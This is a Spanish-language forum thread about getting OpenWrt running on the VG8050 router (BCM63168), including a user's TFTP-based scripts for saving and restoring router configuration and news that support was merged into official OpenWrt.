r 192.168.1.35:firmware-RAM.elf
y un servidor tftp en tu PC (en este caso con la ip 192.168.1.35) para que CFE coja ese firmware RAM de ahí
Si el CFE que trae tiene las opciones habituales, podrías especificarle que cargue siempre el sistema via TFTP. Así teniendo un servidor TFTP permanentemente activo en tu red, arrancaría siempre con Openwrt, eso sí en principio no guardaría cambios ni configuraciones. Tendrías que compilar el firmware ya configurado si es que lo quisieses para algún propósito específico. Ignoro si se podría montar la NAND con una particion para guardar paquetes y configuraciones, supongo que sí. Sería desde luego una forma bastante geek para usar el router con Openwrt
Poco más puedo decir, ya que no dispongo de este router ni ningún otro con este SoC (BCM63168).
-
Muchas gracias danitool, creo que aun me quedan muchas cosas por aprender antes de poder hacer lo que comentas. Buscando más información sobre el soc he encontrado esto:
https://wiki.openwrt.org/doc/hardware/soc/soc.broadcom.bcm63xx
Aquí se comenta que con la versión de kernel 4.2 ya hay soporte para flash NAND... si he entendido bien creo que ya se podría almacenar algo de info en el chip... creo que este era uno de los problemas que tenía Noltari en su parche... pero no tengo mucha idea... igual me lo he imaginado.@Noltari, ¿algo de luz sobre este tema?
Muchas gracias.
-
Buenas, respecto a este tema yo ya llevo utilizándolo bastante tiempo como el core/fw de la red de mi casa y lo que he hecho es compilarlo con una configuración preestablecida y una carpeta en la raíz /confiscr que contiene dos scripts: getconfig.sh y putconfig.sh. Luego en la configuración inicial de la que hablo en el archivo rc.local esta añadido sh /confiscr/getconfig.sh y en el crontap está que cada 30 min ejecute el script /confiscr/putconfig.sh, De este modo cada 30 min se salva la última configuración al tftp sobrescribiendo la anterior y cuando el router inicia aplica la última config que está en el tftp.
-
confget:
#!/bin/sh
tftp {ip} -g -r etc.tar.gz -l /tmp/etc.tar.gz
tar xzvf /tmp/etc.tar.gz -C /
rm /tmp/etc.tar.gz
sleep 3
ntfs-3g /dev/sda1 /mnt/
/etc/init.d/network restart
sleep 5
/etc/init.d/firewall restart
/etc/init.d/dnsmasq restart
/etc/init.d/uhttpd restart
/etc/init.d/ddns restart
/etc/init.d/cron restart
/etc/init.d/collectd restart
/etc/init.d/dropbear restart
/etc/init.d/led restart
/etc/init.d/luci_statistics restart
/etc/init.d/qos restart
/etc/init.d/tinyproxy restart
/etc/init.d/vnstat restart
/etc/init.d/transmission restart
/etc/init.d/rpcd restart
/etc/init.d/sysntpd restart
confput:
#!/bin/sh
sysupgrade -l > /tmp/listsave.dat
#tar czvfp /tmp/etc.tar.gz /etc/
tar czvfp /tmp/etc.tar.gz -T /tmp/listsave.dat
tftp 192.168.2.169 -p -l /tmp/etc.tar.gz -r etc.tar.gz
rm /tmp/etc.tar.gz
rm /tmp/listsave.dat
rc.local
# Put your custom commands here that should be executed once
# the system init finished. By default this file does nothing.
#ntfs-3g /dev/sda1 /mnt/
sh /confsh/confget.sh
exit 0
crontab:
*/30 * * * * sh /confsh/confsave.sh
-
Muchas gracias rgallosog.
Hice varias pruebas tratando de compilar alguno de los firmwares por defecto y no conseguí que ninguno terminara de compilar... tengo que retomar el tema y probar de nuevo. Soy bastante newbie en este tema.
¿No tendrás el fichero de configuración que usaste para compilarlo?
Muchas gracias!!!
-
Buenas, adjunto link de descarga con mi .config, tambien he añadido un compilado (vmlinux) para ram y algunas notas.
Es probable que no te sirva mi .config poque yo lo que he hecho es descargarme las fuentes de Noltari y la última versión de las de OPENWRT del sitio oficial y he adaptado el target desde las fuentes de Noltari a estas. Los cambios necesarios son pocos y es lo que yo te recomiendo que hagas. Si esperas unos días intento hacer algun manual de los cambios a hacer para adaptar el target porque me tomo algunas horas la verdad y cometí el error de no documentarlo, no es un simple copia y pega ya que han cambiado algunas llamadas.
SALUDOS Y ESPERO FUNCIONE
https://mega.nz/#!XhlS2YSR!X8NzsgnvNDVd7xAMC27vjDMU2ZEjHcO-BqwcGc1TkAg
-
Buenas, lo siento pero no he tenido tiempo para detallar todos los cambios, así que añado link de descarga con mi carpeta target completa y un manual para utilizarla, el manual está orientado a alguien que nunca ha compilado OpenWrt si ya tienes conocimientos mínimos no es necesario, para ver todos los detalles que cambian hacer un “diff” de target/ ya sea de la fuentes de Noltari o las oficiales.
Un saludo y espero funcione.
https://mega.nz/#!D9kyASLA!e1g4L0TrI_OeFU4AhFOP3VAEW6MFG5LNRWZAdsQ3Hlo
-
Buenas, lo siento pero no he tenido tiempo para detallar todos los cambios, así que añado link de descarga con mi carpeta target completa y un manual para utilizarla, el manual está orientado a alguien que nunca ha compilado OpenWrt si ya tienes conocimientos mínimos no es necesario, para ver todos los detalles que cambian hacer un “diff” de target/ ya sea de la fuentes de Noltari o las oficiales.
Un saludo y espero funcione.
https://mega.nz/#!D9kyASLA!e1g4L0TrI_OeFU4AhFOP3VAEW6MFG5LNRWZAdsQ3Hlo
que p... crack estas hecho, en cuanto pueda le pego un repaso!!!((estoy hasta arriba de curro).
Gracias!!!
-
PUES DE CRACK NADA, COPIAR Y PEGAR NO TIENE MERITO.
ESTOY INTENTANDO HACER UN COMPILADO QUE CUANDO INICIE ME MONTE UNA PARTICIÓN EXT4 DEL DISCO CONECTADO POR USB COMO ROOTFS (PERO NO LO HE LOGRADO TODAVÍA) LO QUE CREO QUE PODRÍA SER UNA MEJOR SOLUCIÓN. SI ALGUIEN LO HA LOGRADO ESTARÍA BIEN SABER COMO.
SALUDOS.
-
Hola a todos.
Después de unos cuantos años con mi comtrend 5813n con Openwrt, el jueves pasado dejó de funcionar y me lo han cambiado por un VG8050.
He visto que no hay soporte para este equipo en Openwrt (todavía) por lo que he ido replicando las funcionalidades de mi anterior router con el firmware original más o menos.
Pero me falta una que estamos notando mucho en casa: el filtro de publicidad vía dnsmasq.
El problema que encuentro es que no puedo actualizar la lista de hosts (son casi más de 10.000) en el VG8050 de una manera más o menos automática. Lo pregunto porque vía consola telnet no es posible ya que se cuelga la sesión.
Otra posibilidad sería por la vía del servidor ssh dropbear, pero no consigo acceder (para luego copiar la lista de hosts con scp)
La versión que me han dejado instalada (el portal Alejandra dice que está OK) es la SB01-S412TLF-C09_R03.
Y para terminar las preguntas:
1.- ¿Alguien ha podido conectarse vía ssh con el firmware original?
2.- ¿Tenéis alguna sugerencia para probar algo y conseguir acceder vía ssh?
Saludos y muchas gracias por vuestro trabajo. :)
P.D: Estos son algunos enlaces para el software de bloqueo de publicidad en el router:
https://github.com/openwrt/packages/tree/master/net/adblock/files
https://gist.github.com/teffalump/7227752
-
Buenas,
Acabo de integrar el soporte para este router en el repo oficial de OpenWrt:
https://git.openwrt.org/?p=openwrt/openwrt.git;a=commitdiff;h=daee6b466146fc20505adb2ef9f4be831f96d972
Dentro de poco debería haber snapshots aquí:
https://downloads.openwrt.org/snapshots/targets/bcm63xx/smp/
Saludos!
-
Buenas,
Acabo de integrar el soporte para este router en el repo oficial de OpenWrt:
https://git.openwrt.org/?p=openwrt/openwrt.git;a=commitdiff;h=daee6b466146fc20505adb2ef9f4be831f96d972
Dentro de poco debería haber snapshots aquí:
https://downloads.openwrt.org/snapshots/targets/bcm63xx/smp/
Saludos!
Increíble. Hacía tiempo que no me pasaba por el foro y he visto esto... me he re-registrado solo para agradecer a Noltari todo el curro realizado. ;D
Antes tenía un ladrillo de router VG-8050 guardado por ahí... ahora sigue siendo un ladrillo (por el tamaño) pero tras meterle OpenWrt puedo utilizarlo para jugar cuando tenga un rato.
Lo dicho, gracias a todos los que aportan sus conocimientos, tiempo y esfuerzo para conseguir cosas como esta.
-
Buenas,
Acabo de integrar el soporte para este router en el repo oficial de OpenWrt:
https://git.openwrt.org/?p=openwrt/openwrt.git;a=commitdiff;h=daee6b466146fc20505adb2ef9f4be831f96d972
Dentro de poco debería haber snapshots aquí:
https://downloads.openwrt.org/snapshots/targets/bcm63xx/smp/
Saludos!
Llevo entrando en este hilo desde hace por lo menos 3 años que me pusieron este router, por casualidad mirando el git de OpenWRT he visto algún commit del VG-8050 y he venido directo, darte las gracias y la enhorabuena por tu excelente trabajo desinteresado.
Es increible que podamos sacarle partido finalmente a este router aunque sea con Broadcom 63xx limitado.
-
Buenas,
Acabo de integrar el soporte para este router en el repo oficial de OpenWrt:
https://git.openwrt.org/?p=openwrt/openwrt.git;a=commitdiff;h=daee6b466146fc20505adb2ef9f4be831f96d972
Dentro de poco debería haber snapshots aquí:
https://downloads.openwrt.org/snapshots/targets/bcm63xx/smp/
Saludos!
Muchisimas gracias Noltari!!!!
Yo también entraba desde hacia mucho tiempo ( me he registrado ahora para agradecértelo) y tenia uno de estos ahí parado porque era un trasto.
Por lo que veo la wifi de este "cacharro" no es usable.
Si alguno ha probado ya alguna snapshot que hay, ¿podéis informar de como va la wifi?
Un saludo y gracias de nuevo.